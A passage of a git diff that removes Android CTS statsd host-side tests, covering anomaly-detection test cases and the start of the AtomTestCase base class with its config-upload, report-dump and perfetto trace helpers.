-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        doAppBreadcrumbReportedStart(14); // value = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Test that anomaly detection integrates with perfetto properly.
-    public void testPerfetto() throws Exception {
-        String chars = getDevice().getProperty("ro.build.characteristics");
-        if (chars.contains("watch")) {
-                return;
-        }
-
-        if (PERFETTO_TESTS_ENABLED) resetPerfettoGuardrails();
-
-        StatsdConfig.Builder config = getBaseConfig(4, 0, 6 /* threshold: value > 6 */)
-                .addSubscription(Subscription.newBuilder()
-                        .setId(SUBSCRIPTION_ID_PERFETTO)
-                        .setRuleType(Subscription.RuleType.ALERT)
-                        .setRuleId(ALERT_ID)
-                        .setPerfettoDetails(PerfettoDetails.newBuilder()
-                                .setTraceConfig(getPerfettoConfig()))
-                )
-                .addValueMetric(ValueMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.ONE_MINUTE)
-                        // Get the label field's value:
-                        .setValueField(FieldMatcher.newBuilder()
-                                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addChild(FieldMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                        )
-
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // value = 6, which is NOT > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (PERFETTO_TESTS_ENABLED) assertThat(isSystemTracingEnabled()).isFalse();
-
-        doAppBreadcrumbReportedStart(14); // value = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-
-        // Pool a few times to allow for statsd <-> traced <-> traced_probes communication to happen.
-        if (PERFETTO_TESTS_ENABLED) {
-                boolean tracingEnabled = false;
-                for (int i = 0; i < 5; i++) {
-                        if (isSystemTracingEnabled()) {
-                                tracingEnabled = true;
-                                break;
-                        }
-                        Thread.sleep(1000);
-                }
-                assertThat(tracingEnabled).isTrue();
-        }
-    }
-
-    // Tests that anomaly detection for gauge works.
-    public void testGaugeAnomalyDetection() throws Exception {
-        StatsdConfig.Builder config = getBaseConfig(1, 20, 6 /* threshold: value > 6 */)
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                        .setBucket(TimeUnit.CTS)
-                        // Get the label field's value into the gauge:
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
-                                        .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                        .addChild(FieldMatcher.newBuilder()
-                                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER))
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        String markTime = getCurrentLogcatDate();
-        doAppBreadcrumbReportedStart(6); // gauge = 6, which is NOT > trigger
-        Thread.sleep(Math.max(WAIT_AFTER_BREADCRUMB_MS, 1_100)); // Must be >1s to push next bucket.
-        assertWithMessage("Premature anomaly").that(getEventMetricDataList()).isEmpty();
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isFalse();
-
-        // We waited for >1s above, so we are now in the next bucket (which is essential).
-        doAppBreadcrumbReportedStart(14); // gauge = 14 > trigger
-        Thread.sleep(WAIT_AFTER_BREADCRUMB_MS);
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertWithMessage("Expected anomaly").that(data).hasSize(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-        if (INCIDENTD_TESTS_ENABLED) assertThat(didIncidentdFireSince(markTime)).isTrue();
-    }
-
-    // Test that anomaly detection for pulled metrics work.
-    public void testPulledAnomalyDetection() throws Exception {
-        final int ATOM_ID = Atom.KERNEL_WAKELOCK_FIELD_NUMBER;  // A pulled atom
-        final int SLICE_BY_FIELD = KernelWakelock.NAME_FIELD_NUMBER;
-        final int VALUE_FIELD = KernelWakelock.VERSION_FIELD_NUMBER;  // Something that will be > 0.
-        final int ATOM_MATCHER_ID = 300;
-
-        StatsdConfig.Builder config = getBaseConfig(10, 20, 0 /* threshold: value > 0 */)
-                .addAllowedLogSource("AID_SYSTEM")
-                // Track the ATOM_ID pulled atom
-                .addAtomMatcher(StatsdConfigProto.AtomMatcher.newBuilder()
-                        .setId(ATOM_MATCHER_ID)
-                        .setSimpleAtomMatcher(StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                                .setAtomId(ATOM_ID)))
-                .addGaugeMetric(GaugeMetric.newBuilder()
-                        .setId(METRIC_ID)
-                        .setWhat(ATOM_MATCHER_ID)
-                        .setBucket(TimeUnit.CTS)
-                        .setSamplingType(GaugeMetric.SamplingType.RANDOM_ONE_SAMPLE)
-                        // Slice by SLICE_BY_FIELD (typical usecase)
-                        .setDimensionsInWhat(FieldMatcher.newBuilder()
-                                .setField(ATOM_ID)
-                                .addChild(FieldMatcher.newBuilder().setField(SLICE_BY_FIELD))
-                        )
-                        // Track the VALUE_FIELD (anomaly detection requires exactly one field here)
-                        .setGaugeFieldsFilter(
-                                FieldFilter.newBuilder().setFields(FieldMatcher.newBuilder()
-                                        .setField(ATOM_ID)
-                                        .addChild(FieldMatcher.newBuilder().setField(VALUE_FIELD))
-                                )
-                        )
-                );
-        uploadConfig(config);
-
-        Thread.sleep(6_000); // Wait long enough to ensure AlarmManager signals >= 1 pull
-
-        List<EventMetricData> data = getEventMetricDataList();
-        // There will likely be many anomalies (one for each dimension). There must be at least one.
-        assertThat(data.size()).isAtLeast(1);
-        assertThat(data.get(0).getAtom().getAnomalyDetected().getAlertId()).isEqualTo(ALERT_ID);
-    }
-
-
-    private final StatsdConfig.Builder getBaseConfig(int numBuckets,
-                                                     int refractorySecs,
-                                                     long triggerIfSumGt) throws Exception {
-      return createConfigBuilder()
-          // Items of relevance for detecting the anomaly:
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(APP_BREADCRUMB_REPORTED_MATCH_START_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                          // Event only when the uid is this app's uid.
-                          .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(
-                              createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                  .setEqInt(AppBreadcrumbReported.State.START.ordinal()))))
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(APP_BREADCRUMB_REPORTED_MATCH_STOP_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                          // Event only when the uid is this app's uid.
-                          .addFieldValueMatcher(createFvm(AppBreadcrumbReported.UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(
-                              createFvm(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                  .setEqInt(AppBreadcrumbReported.State.STOP.ordinal()))))
-          .addAlert(Alert.newBuilder()
-                        .setId(ALERT_ID)
-                        .setMetricId(METRIC_ID) // The metric itself must yet be added by the test.
-                        .setNumBuckets(numBuckets)
-                        .setRefractoryPeriodSecs(refractorySecs)
-                        .setTriggerIfSumGt(triggerIfSumGt))
-          .addSubscription(
-              Subscription.newBuilder()
-                  .setId(SUBSCRIPTION_ID_INCIDENTD)
-                  .setRuleType(Subscription.RuleType.ALERT)
-                  .setRuleId(ALERT_ID)
-                  .setIncidentdDetails(IncidentdDetails.newBuilder().addSection(INCIDENTD_SECTION)))
-          // We want to trigger anomalies on METRIC_ID, but don't want the actual data.
-          .addNoReportMetric(METRIC_ID)
-
-          // Items of relevance to reporting the anomaly (we do want this data):
-          .addAtomMatcher(
-              StatsdConfigProto.AtomMatcher.newBuilder()
-                  .setId(ANOMALY_DETECT_MATCH_ID)
-                  .setSimpleAtomMatcher(
-                      StatsdConfigProto.SimpleAtomMatcher.newBuilder()
-                          .setAtomId(Atom.ANOMALY_DETECTED_FIELD_NUMBER)
-                          .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_UID_FIELD_NUMBER)
-                                                    .setEqInt(getHostUid()))
-                          .addFieldValueMatcher(createFvm(AnomalyDetected.CONFIG_ID_FIELD_NUMBER)
-                                                    .setEqInt(CONFIG_ID))))
-          .addEventMetric(StatsdConfigProto.EventMetric.newBuilder()
-                              .setId(ANOMALY_EVENT_ID)
-                              .setWhat(ANOMALY_DETECT_MATCH_ID));
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
deleted file mode 100644
index 8ce54f3..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ /dev/null
@@ -1,1164 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
-import static android.cts.statsd.atom.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryStatsProto;
-import android.os.StatsDataDumpProto;
-import android.service.battery.BatteryServiceDumpProto;
-import android.service.batterystats.BatteryStatsServiceDumpProto;
-import android.service.procstats.ProcessStatsServiceDumpProto;
-
-import com.android.annotations.Nullable;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.EventMetric;
-import com.android.internal.os.StatsdConfigProto.FieldFilter;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.GaugeMetric;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.GaugeBucketInfo;
-import com.android.os.StatsLog.GaugeMetricData;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import com.google.common.collect.Range;
-import com.google.common.io.Files;
-import com.google.protobuf.ByteString;
-
-import perfetto.protos.PerfettoConfig.DataSourceConfig;
-import perfetto.protos.PerfettoConfig.FtraceConfig;
-import perfetto.protos.PerfettoConfig.TraceConfig;
-
-import java.io.File;
-import java.text.SimpleDateFormat;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Comparator;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-import java.util.Map;
-import java.util.Queue;
-import java.util.Random;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.stream.Collectors;
-
-/**
- * Base class for testing Statsd atoms.
- * Validates reporting of statsd logging based on different events
- */
-public class AtomTestCase extends BaseTestCase {
-
-    /**
-     * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
-     * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
-     */
-    public static final boolean OPTIONAL_TESTS_ENABLED = false;
-
-    public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
-    public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
-    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
-    public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
-    public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
-    public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
-    public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
-    /** ID of the config, which evaluates to -1572883457. */
-    public static final long CONFIG_ID = "cts_config".hashCode();
-
-    public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
-    public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
-    public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
-    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
-    public static final String FEATURE_CAMERA = "android.hardware.camera";
-    public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
-    public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
-    public static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
-    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
-    public static final String FEATURE_PC = "android.hardware.type.pc";
-    public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
-    public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
-    public static final String FEATURE_WATCH = "android.hardware.type.watch";
-    public static final String FEATURE_WIFI = "android.hardware.wifi";
-    public static final String FEATURE_INCREMENTAL_DELIVERY =
-            "android.software.incremental_delivery";
-
-    // Telephony phone types
-    public static final int PHONE_TYPE_GSM = 1;
-    public static final int PHONE_TYPE_CDMA = 2;
-    public static final int PHONE_TYPE_CDMA_LTE = 6;
-
-    protected static final int WAIT_TIME_SHORT = 1000;
-    protected static final int WAIT_TIME_LONG = 2_000;
-
-    protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
-    protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
-
-    protected static final long NS_PER_SEC = (long) 1E+9;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // Uninstall to clear the history in case it's still on the device.
-        removeConfig(CONFIG_ID);
-        getReportList(); // Clears data.
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        removeConfig(CONFIG_ID);
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Determines whether logcat indicates that incidentd fired since the given device date.
-     */
-    protected boolean didIncidentdFireSince(String date) throws Exception {
-        final String INCIDENTD_TAG = "incidentd";
-        final String INCIDENTD_STARTED_STRING = "reportIncident";
-        // TODO: Do something more robust than this in case of delayed logging.
-        Thread.sleep(1000);
-        String log = getLogcatSince(date, String.format(
-                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
-        return log.contains(INCIDENTD_STARTED_STRING);
-    }
-
-    protected boolean checkDeviceFor(String methodName) throws Exception {
-        try {
-            installPackage(DEVICE_SIDE_TEST_APK, true);
-            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
-            // Test passes, meaning that the answer is true.
-            LogUtil.CLog.d(methodName + "() indicates true.");
-            return true;
-        } catch (AssertionError e) {
-            // Method is designed to fail if the answer is false.
-            LogUtil.CLog.d(methodName + "() indicates false.");
-            return false;
-        }
-    }
-
-    /**
-     * Returns a protobuf-encoded perfetto config that enables the kernel
-     * ftrace tracer with sched_switch for 10 seconds.
-     */
-    protected ByteString getPerfettoConfig() {
-        TraceConfig.Builder builder = TraceConfig.newBuilder();
-
-        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
-            .newBuilder()
-            .setSizeKb(128)
-            .build();
-        builder.addBuffers(buffer);
-
-        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
-            .addFtraceEvents("sched/sched_switch")
-            .build();
-        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
-            .setName("linux.ftrace")
-            .setTargetBuffer(0)
-            .setFtraceConfig(ftraceConfig)
-            .build();
-        TraceConfig.DataSource dataSource = TraceConfig.DataSource
-            .newBuilder()
-            .setConfig(dataSourceConfig)
-            .build();
-        builder.addDataSources(dataSource);
-
-        builder.setDurationMs(10000);
-        builder.setAllowUserBuildTracing(true);
-
-        TraceConfig.IncidentReportConfig incident = TraceConfig.IncidentReportConfig
-            .newBuilder()
-            .setDestinationPackage("foo.bar.baz")
-            .build();
-        builder.setIncidentReportConfig(incident);
-
-        // To avoid being hit with guardrails firing in multiple test runs back
-        // to back, we set a unique session key for each config.
-        Random random = new Random();
-        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
-        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
-        builder.setUniqueSessionName(sessionNameBuilder.toString());
-
-        return builder.build().toByteString();
-    }
-
-    /**
-     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
-     * run too close of for too many times and hits the upload limit.
-     */
-    protected void resetPerfettoGuardrails() throws Exception {
-        final String cmd = "perfetto --reset-guardrails";
-        CommandResult cr = getDevice().executeShellV2Command(cmd);
-        if (cr.getStatus() != CommandStatus.SUCCESS)
-            throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
-    }
-
-    private String probe(String path) throws Exception {
-        return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
-                + " cat " + path + " ; else echo -1 ; fi");
-    }
-
-    /**
-     * Determines whether perfetto enabled the kernel ftrace tracer.
-     */
-    protected boolean isSystemTracingEnabled() throws Exception {
-        final String traceFsPath = "/sys/kernel/tracing/tracing_on";
-        String tracing_on = probe(traceFsPath);
-        if (tracing_on.startsWith("0")) return false;
-        if (tracing_on.startsWith("1")) return true;
-
-        // fallback to debugfs
-        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
-                tracing_on);
-
-        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
-        tracing_on = probe(debugFsPath);
-        if (tracing_on.startsWith("0")) return false;
-        if (tracing_on.startsWith("1")) return true;
-        throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
-    }
-
-    protected static StatsdConfig.Builder createConfigBuilder() {
-      return StatsdConfig.newBuilder()
-          .setId(CONFIG_ID)
-          .addAllowedLogSource("AID_SYSTEM")
-          .addAllowedLogSource("AID_BLUETOOTH")
-          // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
-          .addAllowedLogSource("com.android.bluetooth")
-          .addAllowedLogSource("AID_LMKD")
-          .addAllowedLogSource("AID_RADIO")
-          .addAllowedLogSource("AID_ROOT")
-          .addAllowedLogSource("AID_STATSD")
-          .addAllowedLogSource("com.android.systemui")
-          .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
-          .addDefaultPullPackages("AID_RADIO")
-          .addDefaultPullPackages("AID_SYSTEM")
-          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-    }
-
-    protected void createAndUploadConfig(int atomTag) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atomTag);
-        uploadConfig(conf);
-    }
-
-    protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
-        uploadConfig(config.build());
-    }
-
-    protected void uploadConfig(StatsdConfig config) throws Exception {
-        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
-        File configFile = File.createTempFile("statsdconfig", ".config");
-        configFile.deleteOnExit();
-        Files.write(config.toByteArray(), configFile);
-        String remotePath = "/data/local/tmp/" + configFile.getName();
-        getDevice().pushFile(configFile, remotePath);
-        getDevice().executeShellCommand(
-                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
-                        String.valueOf(CONFIG_ID)));
-        getDevice().executeShellCommand("rm " + remotePath);
-    }
-
-    protected void removeConfig(long configId) throws Exception {
-        getDevice().executeShellCommand(
-                String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
-    }
-
-    /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
-    protected List<EventMetricData> getEventMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
-     */
-    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
-            ConfigMetricsReportList configMetricsReportList) {
-        return configMetricsReportList.getReportsList().stream()
-                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
-                .collect(Collectors.toList());
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<EventMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
-        }
-        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
-
-        LogUtil.CLog.d("Get EventMetricDataList as following:\n");
-        for (EventMetricData d : data) {
-            LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
-        }
-        return data;
-    }
-
-    protected List<Atom> getGaugeMetricDataList() throws Exception {
-        return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
-    }
-
-    protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-
-        // only config
-        ConfigMetricsReport report = reportList.getReports(0);
-        assertThat(report.getMetricsCount()).isEqualTo(1);
-
-        List<Atom> data = new ArrayList<>();
-        for (GaugeMetricData gaugeMetricData :
-                report.getMetrics(0).getGaugeMetrics().getDataList()) {
-            assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
-            GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
-            for (Atom atom : bucketInfo.getAtomList()) {
-                data.add(atom);
-            }
-            if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
-                    assertTimestampIsTruncated(timestampNs);
-                }
-            }
-        }
-
-        LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
-        for (Atom d : data) {
-            LogUtil.CLog.d("Atom:\n" + d.toString());
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract duration metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<DurationMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getDurationMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
-        for (DurationMetricData d : data) {
-            LogUtil.CLog.d("Duration " + d);
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract count metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<CountMetricData> getCountMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<CountMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getCountMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got CountMetricDataList as following:\n");
-        for (CountMetricData d : data) {
-            LogUtil.CLog.d("Count " + d);
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract value metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<ValueMetricData> getValueMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<ValueMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getValueMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
-        for (ValueMetricData d : data) {
-            LogUtil.CLog.d("Value " + d);
-        }
-        return data;
-    }
-
-    protected StatsLogReport getStatsLogReport() throws Exception {
-        ConfigMetricsReport report = getConfigMetricsReport();
-        assertThat(report.hasUidMap()).isTrue();
-        assertThat(report.getMetricsCount()).isEqualTo(1);
-        return report.getMetrics(0);
-    }
-
-    protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        return reportList.getReports(0);
-    }
-
-    /** Gets the statsd report. Note that this also deletes that report from statsd. */
-    protected ConfigMetricsReportList getReportList() throws Exception {
-        try {
-            ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
-                    String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
-                            "--include_current_bucket", "--proto"));
-            return reportList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
-                    + "Perhaps there is not a valid statsd config for the requested "
-                    + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
-            throw (e);
-        }
-    }
-
-    protected BatteryStatsProto getBatteryStatsProto() throws Exception {
-        try {
-            BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_BATTERYSTATS_CMD,
-                            "--proto")).getBatterystats();
-            LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
-            return batteryStatsProto;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump batterystats proto");
-            throw (e);
-        }
-    }
-
-    /** Gets reports from the statsd data incident section from the stats dumpsys. */
-    protected List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
-        try {
-            StatsDataDumpProto statsProto = getDump(StatsDataDumpProto.parser(),
-                    String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
-            // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
-            List<ConfigMetricsReportList> reports
-                    = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
-            for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
-                reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
-            }
-            LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
-            return reports;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dumpsys stats proto");
-            throw (e);
-        }
-    }
-
-    protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
-        try {
-
-            List<ProcessStatsProto> processStatsProtoList =
-                new ArrayList<ProcessStatsProto>();
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    ProcessStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--proto")).getProcstatsNow();
-            for (android.service.procstats.ProcessStatsProto stats :
-                    sectionProto.getProcessStatsList()) {
-                ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
-                    stats.toByteArray());
-                processStatsProtoList.add(procStats);
-            }
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (ProcessStatsProto processStatsProto : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
